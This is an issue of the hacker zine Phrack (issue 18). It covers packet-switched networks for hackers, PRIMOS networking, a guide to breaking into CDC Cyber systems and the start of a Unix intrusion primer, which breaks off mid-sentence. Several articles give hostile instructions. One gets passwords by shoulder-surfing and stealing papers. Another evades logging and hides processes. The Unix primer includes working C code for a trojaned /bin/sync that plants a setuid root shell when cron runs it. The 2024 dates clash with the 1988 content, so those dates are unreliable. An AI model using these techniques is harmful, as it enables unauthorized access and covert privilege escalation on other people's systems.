==Phrack Inc.== Volume Two, Issue 18, Phile #1 of 11 Index ===== June 7, 2024 Well, Phrack Inc. is still alive but have changed editors again. I, Crimson Death am now the new editor of Phrack Inc. The reason why I am the new editor is because of the previous editors in school and they did not just have the time for it. So, if you would like to submit an article for Phrack Inc. please contact: Crimson Death, Control C, or Epsilon, or call my BBS (The Forgotten Realm) or one of the BBSes on the sponsor BBS listing (Found in PWN Part 1). We are ALWAYS looking for more files to put in upcoming issues. Well, that about does it for me. I hope you enjoy Phrack 18 as much as we at The Forgotten Realm did bringing it to you. Later... Crimson Death Sysop of The Forgotten Realm ------------------------------------------------------------------------------ This issue of Phrack Inc. includes the following: #1 Index of Phrack 18 by Crimson Death (02k) #2 Pro-Phile XI on Ax Murderer by Crimson Death (04k) #3 An Introduction to Packet Switched Networks by Epsilon (12k) #4 Primos: Primenet, RJE, DPTX by Magic Hasan (15k) #5 Hacking CDC's Cyber by Phrozen Ghost (12k) #6 Unix for the Moderate by Urvile (11k) #7 Unix System Security Issues by Jester Sluggo (27k) #8 Loop Maintenance Operating System by Control C (32k) #9 A Few Things About Networks by Prime Suspect (21k) #10 Phrack World News XVIII Part I by Epsilon (09k) #11 Phrack World News XVIII Part II by Epsilon (05k) ============================================================================== ==Phrack Inc.== Volume Two, Issue 18, Phile #2 of 11 ==Phrack Pro-Phile XI== Written and Created by Crimson Death Welcome to Phrack Pro-Phile XI. Phrack Pro-Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you a name familiar to most in the BBS world... Ax Murderer =========== Ax Murderer is popular to many of stronger names in the P/H community. ------------------------------------------------------------------------------ Personal ======== Handle: Ax Murderer Call him: Mike Past handles: None Handle origin: Thought of it while on CompuServe. Date of Birth: 10/04/72 Age at current date: 15 Height: 6' 2'' Weight: 205 Lbs. Eye color: Brown Hair Color: Brown Computers: IBM PC, Apple II+, Apple IIe Sysop/Co-Sysop of: The Outlet Private, Red-Sector-A, The Autobahn ------------------------------------------------------------------------------ Ax Murderer started phreaking and hacking in 1983 through the help of some of his friends. Members of the Hack/Phreak world which he has met include Control C, Bad Subscript, The Timelord. Some of the memorable phreak/hack BBS's he was/is on included WOPR, OSUNY, Plovernet, Pirate 80, Shadow Spawn, Metal Shop Private, Sherwood Forest (213), IROC, Dragon Fire, and Shadowland. His phreaking and hacking knowledge came about with a group of people in which some included Forest Ranger and The Timelord. Ax Murderer is a little more interested in Phreaking than hacking. He does like to program however, he can program in 'C', Basic, Pascal, and Machine Language. The only group in which Ax Murderer has been in is Phoneline Phantoms. ------------------------------------------------------------------------------ Interests: Telecommunications (Modeming, phreaking, hacking, programming), football, track, cars, and music. Ax Murderer's Favorite Thing ---------------------------- His car... (A Buick Grand National) His gilrfriend... (Sue) Rock Music Most Memorable Experiences -------------------------- Newsweek Incident with Richard Sandza (He was the Judge for the tele-trial) Some People to Mention ---------------------- Forest Ranger (For introducing me to everyone and getting me on Dragon Fire) Taran King (For giving me a chance on MSP and the P/H world) Mind Bender (For having ANY utilities I ever needed) The Necromancer (Getting me my Apple'cat) The Titan (Helping me program the BBS) All for being friends and all around good people and phreaks. ------------------------------------------------------------------------------ Ax Murderer is out and out against the idea of the destruction of data. He hated the incident with MIT where the hackers were just hacking it to destroy files on the system. He says that it ruins it for the everyone else and gives 'True Hackers' a bad name. He hates it when people hack to destroy, Ax has no respect for anyone who does this today. Where have all the good times gone? ------------------------------------------------------------------------------ I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming in the near future.... And now for the regularly taken poll from all interviewees. Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? "No, not really." Thanks Mike. Crimson Death Sysop of The Forgotten Realm ============================================================================== ==Phrack Inc.== Volume Two, Issue 18, Phile #3 of 11 _ _ _ _ _____________________________________________ _ _ _ _ _-_-_-_- -_-_-_-_ _-_-_-_- An Introduction To -_-_-_-_ _-_-_-_- -_-_-_-_ _-_-_-_- Packet Switched Networks -_-_-_-_ _-_-_-_- -_-_-_-_ _-_-_-_- -_-_-_-_ _-_-_-_- -_-_-_-_ _-_-_-_- Written By - Revised - -_-_-_-_ _-_-_-_- -_-_-_-_ _-_-_-_- Epsilon 05/3/88 -_-_-_-_ _-_-_-_-_____________________________________________-_-_-_-_ Preface - In the past few years, Packet Switched Networks have become a prominent feature in the world of telecommunications. These networks have provided ways of communicating with virtually error-free data, over very large distances. These networks have become an imperative to many a corporation in the business world. In this file we will review some of the basic aspects of Packet Switched Networks. Advantages - The Packet Switched Network has many advantages to the common user, and even more to the hacker, which will be reviewed in the next topic. The basis of a Packet Switched Network is the Packet Switch. This network enables the service user to connect to any number of hosts via a local POTS dial-up/port. The various hosts pay to be connected to this type of network, and that's why there is often a surcharge for connection to larger public services like Compuserve or The Source. A Packet Switched Network provides efficient data transfer and lower rates than normal circuit switched calls, which can be a great convenience if you are planning to do a lot of transferring of files between you and the host. Not only is the communication efficient, it is virtually error free. Whereas in normal circuit switched calls, there could be a drastic increase in errors, thus creating a bad transfer of data. When using a Packet Switched Network, it is not important that you communicate at the same baud rate as your host. A special device regulates the speed so that the individual packets are sped up or slowed down, according to your equipment. Such a device is called a PAD (Packet Assembler Disassembler). A PSN also provides access to a variety of information and news retrieval services. The user pays nothing for these calls, because the connections are collect. Although the user may have to subscribe to the service to take advantage of it's services, the connection is usually free, except for a surcharge on some of the larger subscription services. Advantages To Hackers - Packet Switched Networks, to me, are the best thing to come along since the phone system. I'm sure many other hackers feel the same way. One of the reasons for this opinion is that when hacking a system, you need not dial out of your LATA, using codes or otherwise. Now, the hacker no longer has to figure out what parameters he has to set his equipment to, to communicate with a target computer effectively. All PSSes use the same protocol, set by international standards. This protocol is called X.25. This protocol is used on every network-to-network call in the world. When operating on a packet switch, you are not only limited to your own network (As if that wasn't enough already). You can access other PSSes or private data networks through gateways which are implemented in your PSN. There are gateways to virtually every network, from virtually every other network, except for extremely sensitive or private networks, in which case would probably be completely isolated from remote access. Another advantage with PSNs is that almost everyone has a local port, which means if you have an outdial (Next paragraph), you can access regular circuit switched hosts via your local Packet Switched Network port. Since the ports are local, you can spend as much time as you want on it for absolutely no cost. So think about it. Access to any feasible network, including overseas PSNs and packet switches, access to almost any host, access to normal circuit switched telephone-reachable hosts via an outdial, and with an NUI (Network User Identity - Login and password entered at the @ prompt on Telenet), unlimited access to any NUA, reverse-charged or not. Due to the recent abuse of long distance companies, the use of codes when making free calls is getting to be more and more hazardous. You may ask, 'Is there any resort to making free calls without using codes, and without using a blue box?' The answer is yes, but only when using data. With an outdial, accessible from your local PSN port, you can make data calls with a remote modem, almost always connected directly to a server, or a port selector. This method of communicating is more efficient, safer, and more reliable than using any code. Besides, with the implementation of equal access, and the elimination of 950 ports, what choice will you have? Some Important Networks - As aforementioned, PSNs are not only used in the United States. They are all over the place. In Europe, Asia, Canada, Africa, etc. This is a small summary of some of the more popular PSNs around the world. Country Network Name *DNIC ~~~~~~~ ~~~~~~~ ~~~~ ~~~~ Germany Datex-P 2624 Canada Datapac 3020 Italy Datex-P 0222 South Africa Saponet 0655 Japan Venus-P 4408 England Janet/PSS 2342 USA Tymnet 3106 USA Telenet 3110 USA Autonet 3126 USA RCA 3113 Australia Austpac 0505 Ireland Irepac 2724 Luxembourg Luxpac 2704 Singapore Telepac 5252 France Transpac 2024 Switzerland Telepac 2284 Sweden Telepac 2405 Israel Isranet 4251 ~~~~~~~~~ ~~~~~~~ ~~~~ * - DNIC (Data Network Identification Code) Precede DNIC and logical address with a '0' when using Telenet. ______________________________________________________________________________ Notes On Above Networks - Some countries may have more than one Packet Switching Network. The ones listed are the more significant networks for each country. For example, the United States has eleven public Packet Switching Networks, but the four I listed are the major ones. Several countries may also share one network, as shown above. Each country will have equal access to the network using the basic POTS dial-up ports. Focus On Telenet - Since Telenet is one of the most famous, and highly used PSNs in the United States, I thought that informing you of some of the more interesting aspects of this network would be beneficial. Interconnections With Other Network Types - Packet Switched Networks are not the only type of networks which connect a large capacity of hosts together. There are also Wide Area Networks, which operate on a continuous link basis, rather than a packet switched basis. These networks do not use the standardized X.25 protocol, and can only be reached by direct dial-ups, or by connecting to a host which has network access permissions. The point is, that if you wanted to reach, say, Arpanet from Telenet, you would have to have access to a host which is connected to both networks. This way, you can connect to the target host computer via Telenet, and use the WAN via the target host. WANs aren't the only other networks you can access. Also, connections to other small, private, interoffice LANs are quite common and quite feasible. Connections To International NUAs via NUIs - When using an NUI, at the prompt, type 0+DNIC+NUA. After your connection is established, proceed to use the system you've reached. Private Data Networks - Within the large Packet Switched Networks that are accessible to us there are also smaller private networks. These networks can sometimes be very interesting as they may contain many different systems. A way to identify a private network is by looking at the three digit prefix. Most prefixes accessible by Telenet are based on area codes. Private networks often have a prefix that has nothing to do with any area code. (Ex. 322, 421, 224, 144) Those prefixes are not real networks, just examples. Inside these private networks, there are often smaller networks which are connected with some type of host selector or gateway server. If you find something like this, there may be hosts that can be accessed only by this port selector/server, and not by the normal prefix. It is best to find out what these other addresses translate to, in case you are not able to access the server for some reason. That way, you always have a backup method of reaching the target system (Usually the addresses that are accessed by a gateway server/port selector translate to normal NUAs accessible from your Telenet port). When exploring a private network, keep in mind that since these networks are smaller, they would most likely be watched more closely during business hours then say Telenet or Tymnet. Try to keep your scanning and tinkering down to a minimum on business hours to avoid any unnecessary trouble. Remember, things tend to last longer if you don't abuse the hell out of them. Summary - I hope this file helped you out a bit, and at least gave you a general idea of what PSNs are used for, and some of the advantages of using these networks. If you can find something interesting during your explorations of PSNs, or Private Data Networks, share it, and spread the knowledge around. Definitely exploit what you've found, and use it to your advantage, but don't abuse it. If you have any questions or comments, you reach me on - The FreeWorld II/Central Office/Forgotten Realm/TOP. I hope you enjoyed my file. Thanks for your time. I should be writing a follow up article to this one as soon as I can. Stay safe.. - Epsilon ______________________________________________________________________________ - Thanks To - Prime Suspect/Sir Qix/The Technic/Empty Promise/The Leftist ______________________________________________________________________________ ==Phrack Inc.== Volume Two, Issue 18, Phile #4 of 11 ------------------------------------------------------------------------- - - - - - PRIMOS: - - NETWORK COMMUNICATIONS - - - - PRIMENET, RJE, DPTX - - - - - - Presented by Magic Hasan June 1988 - ------------------------------------------------------------------------- PRIME's uniform operating system, PRIMOS, supports a wide range of communications products to suit any distributed processing need. The PRIMENET distributed networking facility provides complete local and remote network communication services for all PRIME systems. PRIME's Remote Job Entry (RJE) products enable multi-user PRIME systems to emulate IBM, CDC, Univac, Honeywell and ICL remote job entry terminals over synchronous communication lines. PRIME's Distributed Processing Terminal Executive (DPTX) allows users to construct communication networks with PRIME and IBM-compatible equipment. PRIMENET -------- PRIMENET provides complete local and remote network communication services for all PRIME systems. PRIMENET networking software lets a user or process on one PRIME system communicate with any other PRIME system in the network without concern for any protocol details. A user can log in to any computer in the network from any terminal in the network. With PRIMENET, networking software processes running concurrently on different systems can communicate interactively. PRIMENET allows transparent access to any system in the network without burdening the user with extra commands. PRIMENET has been designed and implemented so that user interface is simple and transparent. Running on a remote system from a local node of the network or accessing remote files requires no reprogramming of user applications or extensive user training. All the intricacies and communication protocols of the network are handled by the PRIMENET software. For both the local and remote networks, PRIMENET will allow users to share documents, files, and programs and use any disk or printer configured in the network. For a local network between physically adjacent systems, PRIME offers the high-performance microprocessor, the PRIMENET Node Controller (PNC). The controller users direct memory access for low overhead and allows loosely coupled nodes to share resources in an efficient manner. The PNCs for each system are connected to each other with a coaxial cable to form a high-speed ring network, with up to 750 feet (230 meters) between any two systems. Any system in the PNC ring can establish virtual circuits with any other system, making PNC-based networks "fully connected" with a direct path between each pair of systems. The ring has sufficient bandwidth (1 MB per second) and addressing capability to accommodate over 200 systems in a ring structure; however, PRIMENET currently supports up to sixteen systems on a ring to operate as a single local network. The PRIMENET Node Controller is designed to assure continuity of operation in the event that one of the systems fails. One system can be removed from the network or restored to on-line status without disturbing the operations of the other system. An active node is unaware of messages destined for other nodes in the network, and the CPU is notified only when a message for that node has been correctly received. Synchronous communications over dedicated leased lines or dial-up lines is provided through the Multiple Data Link Controller (MDLC). This controller handles certain protocol formatting and data transfer functions normally performed by the operating system in other computers. The controller's microprogrammed architecture increases throughput by eliminating many tasks from central processor overhead. The communications controller also supports multiple protocols for packet-switched communications with Public Data Networks such as the United States' TELENET and TYMNET, the Canadian DATAPAC, Great Britain's International Packet Switching Service (IPSS), France's TRANSPAC, and the European Packet Switching Network, EURONET. Most Public Data Networks require computers to use the CCITT X.25 protocol to deal with the management of virtual circuits between a system and others in the network. The synchronous communications controller supports this protocol. PRIME can provide the X.25 protocol for use with the PRIMENET networking software without modification to the existing hardware configuration. PRIMENET software offers three distinct sets of services. The Inter-Program Communication Facility (IPCF) lets programs running under the PRIMOS operating system establish communications paths (Virtual circuits) to programs in the same or another PRIME system, or in other vendors' systems supporting the CCITT X.25 standard for packet switching networks. The Interactive Terminal Support (ITS) facility permits terminals attached to a packet switching network, or to another PRIME system, to log-in to a PRIME system with the same capabilities they would have if they were directly attached to the system. The File Access Manager (FAM) allows terminal users or programs running under the PRIMOS operating system to utilize files physically stored on other PRIME systems in a network. Remote file operations are logically transparent to the application program. This means no new applications and commands need to be learned for network operation. The IPCF facility allows programs in a PRIME computer to exchange data with programs in the same computer, another PRIME computer, or another vendor's computer, assuming that that vendor supports X.25. This feature is the most flexible and powerful one that any network software package can provide. It basically allows an applications programmer to split up a program, so that different pieces of the program execute on different machines a network. Each program component can be located close to the resource (terminals, data, special peripherals, etc.) it must handle, decode the various pieces and exchange data as needed, using whatever message formats the application designer deems appropriate. The programmer sees PRIMENET's IPCF as a series of pipes through which data can flow. The mechanics of how the data flows are invisible; it just "happens" when the appropriate services are requested. If the two programs happen to end up on the same machine, the IPCF mechanism still works. The IPCF offers the following advantages: 1) The User does not need to understand the detailed mechanisms of communications software in order to communicate. 2) Calls are device-independent. The same program will work over physical links implemented by the local node controller (local network), leased lines, or a packet network. 3) Programs on one system can concurrently communicate with programs on other systems using a single communications controller. PRIMENET handles all multiplexing of communications facilities. 4) A single program can establish multiple virtual circuits to other programs in the network. PRIMENET's ITS facility allows an interactive terminal to have access to any machine in the network. This means that terminals can be connected into an X.25 packet network along with PRIME computers. Terminal traffic between two systems is multiplexed over the same physical facilities as inter-program data, so no additional hardware is needed to share terminals between systems. This feature is ordinarily invisible to user programs, which cannot distinguish data entering via a packet network from data coming in over AMLC lines. A variant of the IPCF facility allows users to include the terminal handling protocol code in their own virtual space, thus enabling them to control multiple terminals on the packet network within one program. Terminals entering PRIMOS in this fashion do not pass through the usual log-in facility, but are immediately connected to the application program they request. (The application program provides whatever security checking is required.) The result is the most effective available means to provide multi-system access to a single terminal, with much lower costs for data communications and a network which is truly available to all users without the expense of building a complicated private network of multiplexors and concentrators. By utilizing PRIMENET's File Access Manager (FAM), programs running under PRIMOS can access files on other PRIME systems using the same mechanisms used to access local files. This feature allows users to move from a single-system environment to a multiple-system one without difficulty. When a program and the files it uses are separated into two (or more) systems the File Access Management (FAM)is automatically called upon whenever the program attempts to use the file. Remote file operations are logically transparent to the user or program. When a request to locate a file or directory cannot be satisfied locally, the File Access Manager is invoked to find the data elsewhere in the network. PRIMOS initiates a remote procedure call to the remote system and suspends the user. This procedure call is received by an answering slave process on the remote system, which performs the requested operation and returns data via subroutine parameters. The slave process on the remote system is dedicated to its calling master process (user) on the local system until released. A master process (user) can have a slave process on each of several remote systems simultaneously. This means that each user has a dedicated connection for the duration of the remote access activity so many requests can be handled in parallel. FAM operation is independent of the specific network hardware connecting the nodes. There is no need to rewrite programs or learn new commands when moving to the network environment. Furthermore, the user need only be logged-in to one system in the network, regardless of the location of the file. Files on the local system or remote systems can be accessed dynamically by file name within a program, using the language-specific open and close statements. No external job control language statements are needed for the program to access files. Inter-host file transfers and editing can be performed using the same PRIMOS utilities within the local system by referencing the remote files with their actual file names. REMOTE JOB ENTRY ---------------- PRIME's Remote Job Entry (RJE) software enables a PRIME system to emulate IBM, CDC, Univac, Honeywell and ICL remote job entry terminals over synchronous communication lines. PRIME's RJE provides the same communications and peripheral support as the RJE terminals they emulate, appearing to the host processor to be those terminals. All PRIME RJE products provide three unique benefits: * PRIME RJE is designed to communicate with multiple remote sites simultaneously. * PRIME RJE enables any terminal connected to a PRIME system to submit jobs for transmission to remote processors, eliminating the requirement for dedicated terminals or RJE stations at each location. * PRIME's mainframe capabilities permit concurrent running of RJE emulators, program development and production work. PRIME's RJE supports half-duplex, point-to-point, synchronous communications and operates over dial-up and dedicated lines. It is fully supported by the PRIMOS operating system. DISTRIBUTED PROCESSING TERMINAL EXECUTIVE (DPTX) ------------------------------------------------ PRIME's Distributed Processing Terminal Executive (DPTX) allows users to construct communication networks with PRIME and IBM-compatible equipment. DPTX conforms to IBM 3271/3277 Display System protocols, and can be integrated into networks containing IBM mainframes, terminals and printers without changing application code or access methods and operates under the PRIMOS operating system. DPTX is compatible with all IBM 370 systems and a variety of access methods and teleprocessing monitors: BTAM, TCAM, VTAM, IMS/VS, CIC/VS, and TSO. They provide transmission speeds up to 9600 bps using IBM's Binary Synchronous Communications (BSC) protocol. DPTX is comprised of three software modules that allow PRIME systems to emulate and support IBM or IBM compatible 3271/3277 Display Systems. One module, Data Stream Compatibility (DPTX/DSC), allows the PRIME system to emulate the operation of a 3271 on the IBM system. This enables both terminal user and application programs (interactive or batch) on the PRIME System to reach application programs on an IBM mainframe. A second module, Terminal Support Facility (DPTX/TSF), allows a PRIME system to control a network of IBM 3271/3277 devices. This enables terminal users to reach application programs on a PRIME computer. The third module, Transparent Connect Facility (DPTX/TCF), combines the functions of modules one and two with additional software allowing 3277 terminal users to to reach programs on a IBM mainframe, even though the terminal subsystem is physically connected to a PRIME system, which is connected to an IBM system. PRIMOS offers a variety of different Communication applications. Being able to utilize these applications to their fullest extent can make life easy for a Primos "enthusiast." If you're a beginner with Primos, the best way to learn more, as with any other system, is to get some "hands-on" experience. Look forward to seeing some beginner PRIMOS files in the near future. -MH ------------------------------------------------------------------------------ Special thanks to PRIME INC. for unwittingly providing the text for this article. =============================================================================== ==Phrack Inc.== Volume Two, Issue 18, Phile #5 of 11 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- -= =- -= Hacking Control Data Corporation's Cyber =- -= =- -= Written by Phrozen Ghost, April 23, 2024 =- -= =- -= Exclusively for Phrack Magazine =- -= =- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- This article will cover getting into and using NOS (Networking Operating System) version 2.5.2 running on a Cyber 730 computer. Cybers generally run this operating system so I will just refer to this environ- ment as Cyber. Also, Cyber is a slow and outdated operating system that is primarily used only for college campuses for running compilers. First off after you have scanned a bunch of carriers you will need to know how Cyber identifies itself. It goes like this: WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978, 1987. 88/02/16. 02.36.53. N265100 CSUS CYBER 170-730. NOS 2.5.2-678/3. FAMILY: You would normally just hit return at the family prompt. Next prompt is: USER NAME: Usernames are in the format abcdxxx where a is the location of where the account is being used from (A-Z). the b is a grouping specifying privs and limits for the account- usually A-G -where A is the lowest access. Some examples of how they would be used in a college system: A = lowest access - class accounts for students B = slightly higher than A (for students working on large projects) C = Much higher limits, these accounts are usually not too hard to get and they will normally last a long time! Lab assistants use these. D = Instructors, Lecturers, Professors.. etc.. E = same... (very hard to get these!) The C and D positions are usually constant according to the groupings. For example, a class would have accounts ranging from NADRAAA-AZZ ^^^ ^^^ These can also be digits There are also special operator accounts which start with digits instead of numbers. (ie 7ETPDOC) These accounts can run programs such as the monitor which can observe any tty connected to the system... The next prompt will be for the password, student account passwords cannot be changed and are 7 random letters by default, other account passwords can be changed. You get 3 tries until you are logged out. It is very difficult if not impossible to use a brute force hacker or try to guess someone's account.. so how do you get on? Here's one easy way... Go down to your local college (make sure they have a Cyber computer!) then just buy a class catalog (they only cost around 50 cents) or you could look, borrow, steal someone else's... then find a pascal or fortran class that fits your schedule! You will only have to attend the class 3 or 4 times max. Once you get there you should have no trouble, but if the instructor asks you questions about why you are not on the roll, just tell him that you are auditing the class (taking it without enrolling so it won't affect your GPA). The instructor will usually pass out accounts on the 3rd or 4th day of class.. this method also works well with just about any system they have on campus! Another way to get accounts is to go down to the computer lab and start snooping! Look over someone's shoulder while they type in their password, or look thru someone's papers while they're in the bathroom, or look thru the assistants desk while he is helping someone... (I have acquired accounts both ways, and the first way is a lot easier with less hassles) Also, you can use commas instead of returns when entering username and password. Example: at the family prompt, you could type ,nadrajf,dsfgkcd or at the username prompt nadrajf,dsfgkcd After you enter your info, the system will respond with: JSN: APXV, NAMIAF / The 'APXV, NAMIAF' could be different depending on what job you were attached to. The help program looks a lot neater if you have vt100 emulation, if you do, type [screen,vt100] (don't type the brackets! from now on, all commands I refer to will be enclosed in brackets) Then type help for an extensive tutorial or a list of commands. Your best bet at this point is to buy a quick reference guide at the campus because I am only going to describe the most useful commands. The / means you are in the batch subsystem, there are usually 6 or 7 other subsystems like basic, fortran, etc... return to batch mode by typing [batch]. Some useful commands: CATLIST - will show permanent files in your directory. ENQUIRE,F - displays temporary files in your workspace. LIMITS - displays your privileges. INFO - get more on-line help. R - re-execute last command. GET,fn - loads fn into the local file area. CHANGE - change certain specs on a file. PERMIT - allow other users to use one of your files. REWIND,* - rewinds all your local files. NEW,fn - creates new file. PURGE - deletes files. LIST,F=fn - list file. UPROC - create an auto-execute procedure file. MAIL - send/receive private mail. BYE - logoff. Use the [helpme,cmd] command for the exact syntax and parameters of these commands. There are also several machine specific 'application' programs such as pascal, fortran, spitbol, millions of others that you can look up with the INFO command... there are also the text editors; edit, xedit, and fse (full screen editor). Xedit is the easiest to use if you are not at a Telray 1061 terminal and it has full documentation. Simply type [xedit,fn] to edit the file 'fn'. Special control characters used with Cyber: Control S and Control Q work normally, the terminate character is Control T followed by a carriage return. If you wanted to break out of an auto-execute login program, you would have to hit ^T C/R very fast and repetitively in order to break into the batch subsystem. Control Z is used to set environment variables and execute special low level commands, example: [^Z TM C/R] this will terminate your connection... So now you're thinking, what the hell is Cyber good for? Well, they won't have any phone company records, and you can't get credit information from one, and I am not going to tell you how to crash it since crashing systems is a sin. There are uses for a Cyber though, one handy use is to set up a chat system, as there are normally 30-40 lines going into a large university Cyber system. I have the source for a chat program called the communicator that I will be releasing soon. Another use is some kind of underground information exchange that people frequently set up on other systems, this can easily be done with Cyber. Procedure files: A procedure file is similar to a batch file for MS-DOS, and a shell script for UNIX. You can make a procedure file auto-execute by using the UPROC command like [uproc,auto] will make the file 'auto', auto execute. There is also a special procedure file called the procfile in which any procedure may be accessed by simply a - in front of it. If your procfile read: .proc,cn. .* sample procedure $catlist/un=7etpdoc. $exit. then you could simply type -cn and the / prompt and it would execute the catlist command. Now back to uprocs, you could easily write a whole BBS in a procedure file or say you wanted to run a chat system and you did not want people to change the password on your account, you could do this: .proc,chat, PW"Password: "=(*A). $ife,PW="cyber",yes. $chat. $revert. $bye. $else,yes. $note./Wrong password, try again/. $revert. $bye. $endif,yes. This procedure will ask the user for a password and if he doesn't type "cyber" he will be logged off. If he does get it right then he will be dumped into the chat program and as soon as he exits the chat program, he will be logged off. This way, the user cannot get into the batch subsystem and change your password or otherwise screw around with the account. The following is a listing of the procfil that I use on my local system, it has a lot of handy utilities and examples... ---- cut here ---- .PROC,B. .******BYE****** $DAYFILE. $NOTE.////////////////////////// $ASCII. $BYE. $REVERT,NOLIST. #EOR .PROC,TIME. .******GIVES DAY AND TIME****** $NOTE./THE CURRENT DAY AND TIME IS/ $FIND,CLOCK./ $REVERT,NOLIST. #EOR .PROC,SIGN*I,IN. .******SIGN PRINT UTILITY******. $GET,IN. $FIND,SIGN,#I=IN,#L=OUT. $NOTE./TO PRINT, TYPE: PRINT,OUT,CC,RPS=??/ $REVERT,NOLIST. #EOR .PROC,TA. .******TALK****** $SACFIND,AID,COMM. $REVERT,NOLIST. #EOR .PROC,DIR,UN=,FILE=. .******DIRECTORY LISTING OF PERMANENT FILES****** $GET(ZZZZDIR=CAT/#UN=1GTL0CL) ZZZZDIR(FILE,#UN=UN) $RETURN(ZZZZDIR) $REVERT,NOLIST. #EOR .PROC,Z19. .******SET SCREEN TO Z19****** $SCREEN,Z19. $NOTE./SCREEN,Z19. $REVERT,NOLIST. #EOR .PROC,VT. .******SET SCREEN TO VT100****** $SCREEN,VT100. $NOTE./SCREEN,VT100. $REVERT,NOLIST #EOR .PROC,SC. .******SET SCREEN TO T10****** $SCREEN,T10. $NOTE./SCREEN,T10. $REVERT,NOLIST #EOR .PROC,C. .******CATLIST****** $CATLIST. $REVERT,NOLIST. #EOR .PROC,CA. .******CATLIST,LO=F****** $CATLIST,LO=F. $REVERT,NOLIST. #EOR .PROC,MT. .******BBS****** $SACFIND,AID,MTAB. $REVERT,NOLIST. #EOR .PROC,LI,FILE=. .******LIST FILE****** $GET,FILE. $ASCII. $COPY(FILE) $REVERT. $EXIT. $CSET(NORMAL) $REVERT,NOLIST. WHERE IS THAT FILE?? #EOR .PROC,LOCAL. .******DIRECTORY OF LOCAL FILES****** $RETURN(PROCLIB,YYYYBAD,YYYYPRC) $GET(QQQFILE=ENQF/UN=1GTL0CL) QQQFILE. $REVERT,NOLIST. $EXIT. $REVERT. FILES ERROR #EOR .PROC,RL. .******RAISE LIMITS****** $SETASL(*) $SETJSL(*) $SETTL(*) $CSET(ASCII) $NOTE./ Limits now at max validated levels. $CSET(NORMAL) $REVERT,NOLIST. #EOR .PROC,CL. .******CLEAR****** $CLEAR,*. $CSET(ASCII) $NOTE./LOCAL FILE AREA CLEARED $REVERT,NOLIST. #EOR .PROC,P,FILE=THING,LST=LIST. .*********************************************************** $CLEAR. $GET(FILE) $PASCAL4,FILE,LST. $REVERT. $EXIT. $REWIND,*. $CSET(ASCII) $COPY(LIST) $CSET(NORMAL) $REVERT,NOLIST. #EOR .PROC,RE. .******REWIND****** $REWIND,*. $CSET(ASCII) $NOTE./REWOUND. $REVERT,NOLIST. #EOR .PROC,FOR,FILE,LST=LIST. .******************************************************************** $CLEAR. $GET(FILE) $FTN5,I=FILE,L=LST. $REPLACE(LST=L) $CSET(ASCII) $REVERT. Fortran Compiled $EXIT. $REWIND,*. $COPY(LST) $REVERT. That's all folks. #EOR .PROC,WAR. .******WARBLES****** $SACFIND,AID,WAR. $REVERT,NOLIST. #EOR .PROC,M. .******MAIL/CHECK****** $MAIL/CHECK. $REVERT,NOLIST. #EOR .PROC,MA. .******ENTER MAIL****** $MAIL. $REVERT,NOLIST. #EOR .PROC,HE,FILE=SUMPROC,UN=. .******HELP FILE****** $GET,FILE/#UN=UN. $COPY(FILE) $REVERT. $EXIT. $REVERT,NOLIST. #EOR .PROC,DYNAMO. .******WHO KNOWS??****** $GET,DYNMEXP/UN=7ETPDOC. $SKIPR,DYNMEXP. $COPYBR,DYNMEXP,GO. $FIND,DYNAMO,GO. $REVERT,NOLIST. #EOR #EOR #EOI ---- cut here ---- I have covered procfil's fairly extensively as I think it is the most useful function of Cyber for hackers. I will be releasing source codes for several programs including 'the communicator' chat utility, and a BBS program with a full message base. If you have any questions about Cyber or you have gotten into one and don't know what to do, I can be contacted at the Forgotten Realm BBS or via UUCP mail at ...!uunet!ncoast!ghost. Phrozen Ghost =============================================================================== ==Phrack Inc.== Volume Two, Issue 18, Phile #6 of 11 ------------------------------------------------------------------------------ Unix for the Moderate ------------------------------------------------------------------------------- By: The Urvile, Necron 99, and a host of me. ------------------------------------------------------------------------------- Disclaimer: This is mainly for system five. I do reference BSD occasionally, but I mark those. All those little weird brands (i.e., DEC's Ultrix, Xenix, and so on) can go to hell. Security: (Improving yours.) -Whenever logging onto a system, you should always do the following: $ who -u $ ps -ef $ ps -u root or BSD: $ who; w; ps uaxg This prints out who is on, who is active, what is going on presently, everything in the background, and so on. And the ever popular: $ find / -name "*log*" -print This lists out all the files with the name 'log' in it. If you do find a process that is logging what you do, or an odd log file, change it as soon as you can. If you think someone may be looking at you and you don't want to leave (Useful for school computers) then go into something that allows shell breaks, or use redirection to your advantage: $ cat < /etc/passwd That puts 'cat' on the ps, not 'cat /etc/passwd'. If you're running a setuid process, and don't want it to show up on a ps (Not a very nice thing to have happen), then: $ super_shell # exec sh Runs the setuid shell (super_shell) and puts something 'over' it. You may also want to run 'sh' again if you are nervous, because if you break out of an exec'ed process, you die. Neat, huh? Improving your id: -First on, you should issue the command 'id' & it will tell you you your uid and euid. (BSD: whoami; >/tmp/xxxx;ls -l /tmp/xxxx will tell you your id [whoami] and your euid [ls -l].), terribly useful for checking on setuid programs to see if you have root euid privs. Also, do this: $ find / -perm -4000 -exec /bin/ls -lad {} ";" Yes, this finds and does an extended list of all the files that have the setuid bit on them, like /bin/login, /bin/passwd, and so on. If any of them look nonstandard, play with them, you never can tell what a ^| will do to them sometimes. Also, if any are writeable and executable, copy sh over them, and you'll have a setuid root shell. Just be sure to copy whatever was there back, otherwise your stay will probably be shortened a bit. -What, you have the bin passwd? Well, game over. You have control of the system. Everything in the bin directory is owned by bin (with the exception of a few things), so you can modify them at will. Since cron executes a few programs as root every once in a while, such as /bin/sync, try this: main() { if (getuid()==0 || getuid()==0) { system("cp /bin/sh /tmp/sroot"); system("chmod 4777 /tmp/sroot"); } sync(); } $ cc file.c $ cp /bin/sync /tmp/sync.old $ mv a.out /bin/sync $ rm file.c Now, as soon as cron runs /bin/sync, you'll have a setuid shell in /tmp/sroot. Feel free to hide it. -the 'at' & 'cron' commands: Look at the 'at' dir. Usually /usr/spool/cron/atjobs. If you can run 'at' (check by typing 'at'), and 'lasttimedone' is writable, then: submit a blank 'at' job, edit 'lastimedone' to do what you want it to do, and move lasttimedone over your entry (like 88.00.00.00). Then the commands you put in 